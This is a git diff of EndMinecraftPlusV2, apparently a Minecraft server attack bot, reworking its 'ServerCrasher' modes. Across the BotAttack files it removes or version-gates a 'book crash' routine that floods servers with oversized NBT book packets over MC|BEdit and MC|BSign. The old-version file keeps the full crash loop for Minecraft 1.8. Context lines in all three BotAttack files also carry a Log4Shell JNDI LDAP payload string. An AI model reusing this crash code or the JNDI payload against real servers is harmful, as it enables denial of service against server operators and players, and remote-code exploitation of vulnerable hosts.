diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java index 4dc7fd0..1ebac95 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/BotAttack.java @@ -9,7 +9,6 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtoco import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.VersionSupport578; import com.github.steveice10.mc.protocol.MinecraftProtocol; -import com.github.steveice10.mc.protocol.data.game.entity.metadata.ItemStack; import com.github.steveice10.mc.protocol.data.message.Message; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket; @@ -20,21 +19,14 @@ import com.github.steveice10.mc.protocol.packet.ingame.server.ServerJoinGamePack import com.github.steveice10.mc.protocol.packet.ingame.server.ServerKeepAlivePacket; import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket; import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket; -import com.github.steveice10.opennbt.NBTIO; -import com.github.steveice10.opennbt.tag.builtin.CompoundTag; -import com.github.steveice10.opennbt.tag.builtin.ListTag; -import com.github.steveice10.opennbt.tag.builtin.StringTag; -import com.github.steveice10.opennbt.tag.builtin.Tag; import com.github.steveice10.packetlib.Client; import com.github.steveice10.packetlib.ProxyInfo; import com.github.steveice10.packetlib.Session; import com.github.steveice10.packetlib.event.session.*; -import com.github.steveice10.packetlib.io.stream.StreamNetOutput; import com.github.steveice10.packetlib.packet.Packet; import com.github.steveice10.packetlib.tcp.TcpSessionFactory; import io.netty.util.internal.ConcurrentSet; -import java.io.ByteArrayOutputStream; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.Proxy; @@ -113,28 +105,7 @@ public class BotAttack extends IAttack { new Thread(() -> { switch (ConfigUtil.ServerCrasherMode) { case 1: - new Thread(() -> { - while (c.isConnected()) { - try { - ItemStack crashBook = getCrashBook(); - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - - out.writeShort(crashBook.getId()); - out.writeByte(crashBook.getAmount()); - - NBTIO.writeTag(buf, crashBook.getNbt()); - - byte[] crashData = buf.toByteArray(); - - c.send(new ClientPluginMessagePacket("MC|BEdit", crashData)); - c.send(new ClientPluginMessagePacket("MC|BSign", crashData)); - - OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay); - } catch (Exception ignored) {} - } - }).start(); + LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher"); break; case 2: String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}"; @@ -537,22 +508,4 @@ public class BotAttack extends IAttack { } } - public static ItemStack getCrashBook() { - ItemStack crashBook; - CompoundTag nbtTag = new CompoundTag("crashBook"); - List pageList = new ArrayList<>(); - - // Plain Mode - nbtTag.put(new StringTag("author", OtherUtils.getRandomString(20, 20))); - nbtTag.put(new StringTag("title", OtherUtils.getRandomString(20, 20))); - - for (int a = 0; a < 35; a++) { - pageList.add(new StringTag("", OtherUtils.getRandomString(600, 600))); - } - - nbtTag.put(new ListTag("pages", pageList)); - crashBook = new ItemStack(386, 1, nbtTag); - - return crashBook; - } } diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java index 2e47ee8..002bb5a 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/AttackUtils/NewBotAttack.java @@ -6,7 +6,6 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.*; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AnotherStarAntiCheat; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge; -import com.github.steveice10.mc.protocol.data.game.entity.metadata.ItemStack; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; @@ -23,21 +22,14 @@ import com.github.steveice10.mc.protocol.packet.ingame.server.entity.player.Serv import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundCustomPayloadPacket; import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundKeepAlivePacket; import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerStatusOnlyPacket; -import com.github.steveice10.opennbt.NBTIO; -import com.github.steveice10.opennbt.tag.builtin.CompoundTag; -import com.github.steveice10.opennbt.tag.builtin.ListTag; -import com.github.steveice10.opennbt.tag.builtin.StringTag; -import com.github.steveice10.opennbt.tag.builtin.Tag; import com.github.steveice10.packetlib.ProxyInfo; import com.github.steveice10.packetlib.Session; import com.github.steveice10.packetlib.event.session.*; -import com.github.steveice10.packetlib.io.stream.StreamNetOutput; import com.github.steveice10.packetlib.packet.Packet; import io.netty.util.internal.ConcurrentSet; import net.kyori.adventure.text.Component; import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer; -import java.io.ByteArrayOutputStream; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.Proxy; @@ -137,31 +129,7 @@ public class NewBotAttack extends IAttack { new Thread(() -> { switch (ConfigUtil.ServerCrasherMode) { case 1: - while (c.isConnected()) { - try { - ItemStack crashBook = getCrashBook(); - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); - - out.writeShort(crashBook.getId()); - out.writeByte(crashBook.getAmount()); - - NBTIO.writeTag(buf, crashBook.getNbt()); - - byte[] crashData = buf.toByteArray(); - - if (ProtocolLibs.adaptAfter758) { - c.send(new ServerboundCustomPayloadPacket("MC|BEdit", crashData)); - c.send(new ServerboundCustomPayloadPacket("MC|BSign", crashData)); - } else { - c.send(new ClientPluginMessagePacket("MC|BEdit", crashData)); - c.send(new ClientPluginMessagePacket("MC|BSign", crashData)); - } - - OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay); - } catch (Exception ignored) {} - } + LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher"); break; case 2: String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}"; @@ -680,23 +648,4 @@ public class NewBotAttack extends IAttack { } } } - - public static ItemStack getCrashBook() { - ItemStack crashBook; - CompoundTag nbtTag = new CompoundTag("crashBook"); - List pageList = new ArrayList<>(); - - // Plain Mode - nbtTag.put(new StringTag("author", OtherUtils.getRandomString(20, 20))); - nbtTag.put(new StringTag("title", OtherUtils.getRandomString(20, 20))); - - for (int a = 0; a < 35; a++) { - pageList.add(new StringTag("", OtherUtils.getRandomString(600, 600))); - } - - nbtTag.put(new ListTag("pages", pageList)); - crashBook = new ItemStack(386, 1, nbtTag); - - return crashBook; - } } diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java index 0e0ec18..545e40b 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/BotAttack.java @@ -112,26 +112,30 @@ public class BotAttack extends IAttack { switch (ConfigUtil.ServerCrasherMode) { case 1: - while (c.isConnected()) { - try { - ItemStack crashBook = getCrashBook(); + if (MCForge.getProtocolVersion() == 47) { + while (c.isConnected()) { + try { + ItemStack crashBook = getCrashBook(); - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - StreamNetOutput out = new StreamNetOutput(buf); + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + StreamNetOutput out = new StreamNetOutput(buf); - out.writeShort(crashBook.getId()); - out.writeByte(crashBook.getAmount()); - out.writeShort(crashBook.getData()); + out.writeShort(crashBook.getId()); + out.writeByte(crashBook.getAmount()); + out.writeShort(crashBook.getData()); - NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT()); + NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT()); - byte[] crashData = buf.toByteArray(); + byte[] crashData = buf.toByteArray(); - c.send(new ClientPluginMessagePacket("MC|BEdit", crashData)); - c.send(new ClientPluginMessagePacket("MC|BSign", crashData)); + c.send(new ClientPluginMessagePacket("MC|BEdit", crashData)); + c.send(new ClientPluginMessagePacket("MC|BSign", crashData)); - OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay); - } catch (Exception ignored) {} + OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay); + } catch (Exception ignored) {} + } + } else { + LogUtil.doLog(0, "Book Crash仅适用于1.8.X版本。", "ServerCrasher"); } break; case 2: diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForge.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForge.java index 442e601..891aaba 100644 --- a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForge.java +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForge.java @@ -94,7 +94,6 @@ public class MCForge { Field field = cls.getDeclaredField("PROTOCOL_VERSION"); return field.getInt(null); } catch (Exception e) { - e.printStackTrace(); return 0; } }